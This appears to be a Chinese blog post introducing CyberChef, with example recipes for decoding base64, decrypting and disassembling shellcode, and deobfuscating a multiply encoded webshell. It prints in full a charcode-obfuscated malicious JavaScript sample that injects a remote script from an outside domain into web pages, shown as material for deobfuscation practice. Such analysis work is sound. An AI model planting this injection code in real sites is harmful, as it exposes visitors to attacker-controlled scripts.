常用的三种web开发工具软件(开源web小工具神器介绍)

一 概述

工作中,经常需要一些小工具来做一些转换,比如base64编码的转换,比如URL Encode 和URL Decode,甚至在产品中也提供了这样的小工具,方便客户使用,不过基本都是简单的命令,如果复杂点的,比如base64编码转换了10多次,或者用AES加密的内容,这样的处理,就需要自己写代码处理,或者遇到了几种转换的组合也需要自己去实现,今天发现开源的Web小工具神器:CyberChef

二 简单介绍

CyberChef是一个简单,直观的Web应用程序,用于在Web浏览器中执行各种“网络”操作。这些操作包括简单的编码,如XOR和Base64,更复杂的加密,如AES,DES和Blowfish,创建二进制和十六进制转储,压缩和解压缩数据,计算哈希和校验和,IPv6和X.509解析,更改字符编码等等。

打开地址:https://gchq.github.io/CyberChef/ 看看界面如下图:

常用的三种web开发工具软件(开源web小工具神器介绍)(1)

界面稍微土了点,但是分为三个部分:

  1. 最左边是Operation,即提供的功能模块,比如转Base64、解码啊等;
  2. Recipe是菜谱的意思,我们可以把Operation里面的功能拖到Recipe里面,可以灵活搭配不同的操作;
  3. 最右边上面是input 输入内容,output是转换后的结果。
三 练练

功能列表:

* [解码 Base64 编码的字符串](https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9+/=',true)&input=VTI4Z2JHOXVaeUJoYm1RZ2RHaGhibXR6SUdadmNpQmhiR3dnZEdobElHWnBjMmd1) * [将日期和时间转换为其他时区](https://gchq.github.io/CyberChef/#recipe=Translate_DateTime_Format('Standard date and time','DD/MM/YYYY HH:mm:ss','UTC','dddd Do MMMM YYYY HH:mm:ss Z z','Australia/Queensland')&input=MTUvMDYvMjAxNSAyMDo0NTowMA) * [解析 Teredo IPv6 地址](https://gchq.github.io/CyberChef/#recipe=Parse_IPv6_address()&input=MjAwMTowMDAwOjQxMzY6ZTM3ODo4MDAwOjYzYmY6M2ZmZjpmZGQy) * [转换来自十六进制转储的数据,然后解压缩](https://gchq.github.io/CyberChef/#recipe=From_Hexdump()Gunzip()&input=MDAwMDAwMDAgIDFmIDhiIDA4IDAwIDEyIGJjIGYzIDU3IDAwIGZmIDBkIGM3IGMxIDA5IDAwIDIwICB8Li4uLi6881cu/y7HwS4uIHwKMDAwMDAwMTAgIDA4IDA1IGQwIDU1IGZlIDA0IDJkIGQzIDA0IDFmIGNhIDhjIDQ0IDIxIDViIGZmICB8Li7QVf4uLdMuLsouRCFb/3wKMDAwMDAwMjAgIDYwIGM3IGQ3IDAzIDE2IGJlIDQwIDFmIDc4IDRhIDNmIDA5IDg5IDBiIDlhIDdkICB8YMfXLi6+QC54Sj8uLi4ufXwKMDAwMDAwMzAgIDRlIGM4IDRlIDZkIDA1IDFlIDAxIDhiIDRjIDI0IDAwIDAwIDAwICAgICAgICAgICB8TshObS4uLi5MJC4uLnw) * [解密和反汇编外壳代码](https://gchq.github.io/CyberChef/#recipe=RC4({'option':'UTF8','string':'secret'},'Hex','Hex')Disassemble_x86('64','Full x86 architecture',16,0,true,true)&input=MjFkZGQyNTQwMTYwZWU2NWZlMDc3NzEwM2YyYTM5ZmJlNWJjYjZhYTBhYWJkNDE0ZjkwYzZjYWY1MzEyNzU0YWY3NzRiNzZiM2JiY2QxOTNjYjNkZGZkYmM1YTI2NTMzYTY4NmI1OWI4ZmVkNGQzODBkNDc0NDIwMWFlYzIwNDA1MDcxMzhlMmZlMmIzOTUwNDQ2ZGIzMWQyYmM2MjliZTRkM2YyZWIwMDQzYzI5M2Q3YTVkMjk2MmMwMGZlNmRhMzAwNzJkOGM1YTZiNGZlN2Q4NTlhMDQwZWVhZjI5OTczMzYzMDJmNWEwZWMxOQ) * [将多个时间戳显示为完整日期](https://gchq.github.io/CyberChef/#recipe=Fork('\\n','\\n',false)From_UNIX_Timestamp('Seconds (s)')&input=OTc4MzQ2ODAwCjEwMTI2NTEyMDAKMTA0NjY5NjQwMAoxMDgxMDg3MjAwCjExMTUzMDUyMDAKMTE0OTYwOTYwMA) * [对不同类型的数据进行不同的操作](https://gchq.github.io/CyberChef/#recipe=Fork('\\n','\\n',false)Conditional_Jump('1',false,'base64',10)To_Hex('Space')Return()Label('base64')To_Base64('A-Za-z0-9+/=')&input=U29tZSBkYXRhIHdpdGggYSAxIGluIGl0ClNvbWUgZGF0YSB3aXRoIGEgMiBpbiBpdA) * [将部分输入用作操作的参数](https://gchq.github.io/CyberChef/#recipe=Register('key=([\\da-f]*)',true,false)Find_/_Replace({'option':'Regex','string':'.*data=(.*)'},'$1',true,false,true)RC4({'option':'Hex','string':'$R0'},'Hex','Latin1')&input=aHR0cDovL21hbHdhcmV6LmJpei9iZWFjb24ucGhwP2tleT0wZTkzMmE1YyZkYXRhPThkYjdkNWViZTM4NjYzYTU0ZWNiYjMzNGUzZGIxMQ) * [执行 AES 解密,从密码流的开头提取 IV](https://gchq.github.io/CyberChef/#recipe=Register('(.{32})',true,false)Drop_bytes(0,32,false)AES_Decrypt({'option':'Hex','string':'1748e7179bd56570d51fa4ba287cc3e5'},{'option':'Hex','string':'$R0'},'CTR','Hex','Raw',{'option':'Hex','string':''})&input=NTFlMjAxZDQ2MzY5OGVmNWY3MTdmNzFmNWI0NzEyYWYyMGJlNjc0YjNiZmY1M2QzODU0NjM5NmVlNjFkYWFjNDkwOGUzMTljYTNmY2Y3MDg5YmZiNmIzOGVhOTllNzgxZDI2ZTU3N2JhOWRkNmYzMTFhMzk0MjBiODk3OGU5MzAxNGIwNDJkNDQ3MjZjYWVkZjU0MzZlYWY2NTI0MjljMGRmOTRiNTIxNjc2YzdjMmNlODEyMDk3YzI3NzI3M2M3YzcyY2Q4OWFlYzhkOWZiNGEyNzU4NmNjZjZhYTBhZWUyMjRjMzRiYTNiZmRmN2FlYjFkZGQ0Nzc2MjJiOTFlNzJjOWU3MDlhYjYwZjhkYWY3MzFlYzBjYzg1Y2UwZjc0NmZmMTU1NGE1YTNlYzI5MWNhNDBmOWU2MjlhODcyNTkyZDk4OGZkZDgzNDUzNGFiYTc5YzFhZDE2NzY3NjlhN2MwMTBiZjA0NzM5ZWNkYjY1ZDk1MzAyMzcxZDYyOWQ5ZTM3ZTdiNGEzNjFkYTQ2OGYxZWQ1MzU4OTIyZDJlYTc1MmRkMTFjMzY2ZjMwMTdiMTRhYTAxMWQyYWYwM2M0NGY5NTU3OTA5OGExNWUzY2Y5YjQ0ODZmOGZmZTljMjM5ZjM0ZGU3MTUxZjZjYTY1MDBmZTRiODUwYzNmMWMwMmU4MDFjYWYzYTI0NDY0NjE0ZTQyODAxNjE1YjhmZmFhMDdhYzgyNTE0OTNmZmRhN2RlNWRkZjMzNjg4ODBjMmI5NWIwMzBmNDFmOGYxNTA2NmFkZDA3MWE2NmNmNjBlNWY0NmYzYTIzMGQzOTdiNjUyOTYzYTIxYTUzZg) * [自动检测多层嵌套编码](https://gchq.github.io/CyberChef/#recipe=Magic(3,false,false)&input=V1VhZ3dzaWFlNm1QOGdOdENDTFVGcENwQ0IyNlJtQkRvREQ4UGFjZEFtekF6QlZqa0syUXN0RlhhS2hwQzZpVVM3UkhxWHJKdEZpc29SU2dvSjR3aGptMWFybTg2NHFhTnE0UmNmVW1MSHJjc0FhWmM1VFhDWWlmTmRnUzgzZ0RlZWpHWDQ2Z2FpTXl1QlY2RXNrSHQxc2NnSjg4eDJ0TlNvdFFEd2JHWTFtbUNvYjJBUkdGdkNLWU5xaU45aXBNcTFaVTFtZ2tkYk51R2NiNzZhUnRZV2hDR1VjOGc5M1VKdWRoYjhodHNoZVpud1RwZ3FoeDgzU1ZKU1pYTVhVakpUMnptcEM3dVhXdHVtcW9rYmRTaTg4WXRrV0RBYzFUb291aDJvSDRENGRkbU5LSldVRHBNd21uZ1VtSzE0eHdtb21jY1BRRTloTTE3MkFQblNxd3hkS1ExNzJSa2NBc3lzbm1qNWdHdFJtVk5OaDJzMzU5d3I2bVMyUVJQ)

3.1 base64转换两次后的数据处理

比如我们要处理经过两次base64转换后的数据,只需要拖两个base64的解码,即可,如下:

常用的三种web开发工具软件(开源web小工具神器介绍)(2)

同时我们可以暂停每个操作步骤,也可以把我们的转换动作保存起来,不要太方便。

3.2 webshell反混淆

这个例子包括下面的例子根据在网上学来的,借鉴下。 下面这个webshell比较特别,经过21次base64转换,我们要进行21次的反向base64转换才可以,试试:

测试webshell的地址:[webshells/from_the_wild1.php at b7eefaff64049e3ff61e90c850686135c0ba74c4 · LordWolfer/webshells (github.com)](https://github.com/LordWolfer/webshells/blob/b7eefaff64049e3ff61e90c850686135c0ba74c4/from_the_wild1.php)

用到的命令很多,保存为json就是:

[ { "op": "Label", "args": ["begin"] }, { "op": "Regular expression", "args": ["Strings", "[A-Za-z0-9/ =]{30,}", true, true, false, false, false, false, "List matches"] }, { "op": "From Base64", "args": ["A-Za-z0-9 /=", true] }, { "op": "Raw Inflate", "args": [0, 0, "Adaptive", false, false] }, { "op": "Jump", "args": ["begin", 21] }, { "op": "Generic Code Beautify", "args": [] } ]

用到的功能组件有:

  1. 先建立个label 名字为begin,这个是用于循环的;
  2. 进行正则表达式提取base64的编码内容,正则表达式内容:[A-Za-z0-9/ =]{30,} 注意输出为List matches;
  3. 用From Base64进行base64解码;
  4. 用Raw Inflate来解密;
  5. Jump 调到begin位置,重复执行21次;
  6. Generic Code Beautify 美化代码;

结果如下图:

常用的三种web开发工具软件(开源web小工具神器介绍)(3)

3.3 char型恶意脚本反混淆

样本脚本地址:

[gist:3431818 (github.com)](https://gist.github.com/jonmarkgo/3431818)

内容如下:

eval(String.fromcharCode(118, 97, 114, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 44, 32, 52, 54, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 57, 55, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 56, 44, 32, 54, 49, 44, 32, 52, 57, 44, 32, 52, 54, 44, 32, 52, 56, 44, 32, 52, 54, 44, 32, 52, 57, 41, 59, 32, 32, 32, 118, 97, 114, 32, 97, 108, 108, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 32, 105, 45, 45, 59, 41, 32, 123, 32, 105, 102, 32, 40, 97, 108, 108, 115, 91, 105, 93, 46, 115, 114, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 125, 32, 125, 32, 105, 102, 40, 110, 116, 51, 32, 61, 61, 32, 116, 114, 117, 101, 41, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 41, 59, 32, 125));

使用的转换工具如下:

解释:

  1. Regular expression 正则表达式提取10进制数,正则表达式:([0-9]{2,3}(,\s|)) ;
  2. From Charcode 按照逗号分割,10进制方式转成char;
  3. 继续用Regular expression提取十进制数;
  4. From Charcode 按照逗号分割,10进制方式转成char; 最后的结果为:
,

免责声明:本文仅代表文章作者的个人观点,与本站无关。其原创性、真实性以及文中陈述文字和内容未经本站证实,对本文以及其中全部或者部分内容文字的真实性、完整性和原创性本站不作任何保证或承诺,请读者仅作参考,并自行核实相关内容。文章投诉邮箱:anhduc.ph@yahoo.com

    分享
    投诉
    首页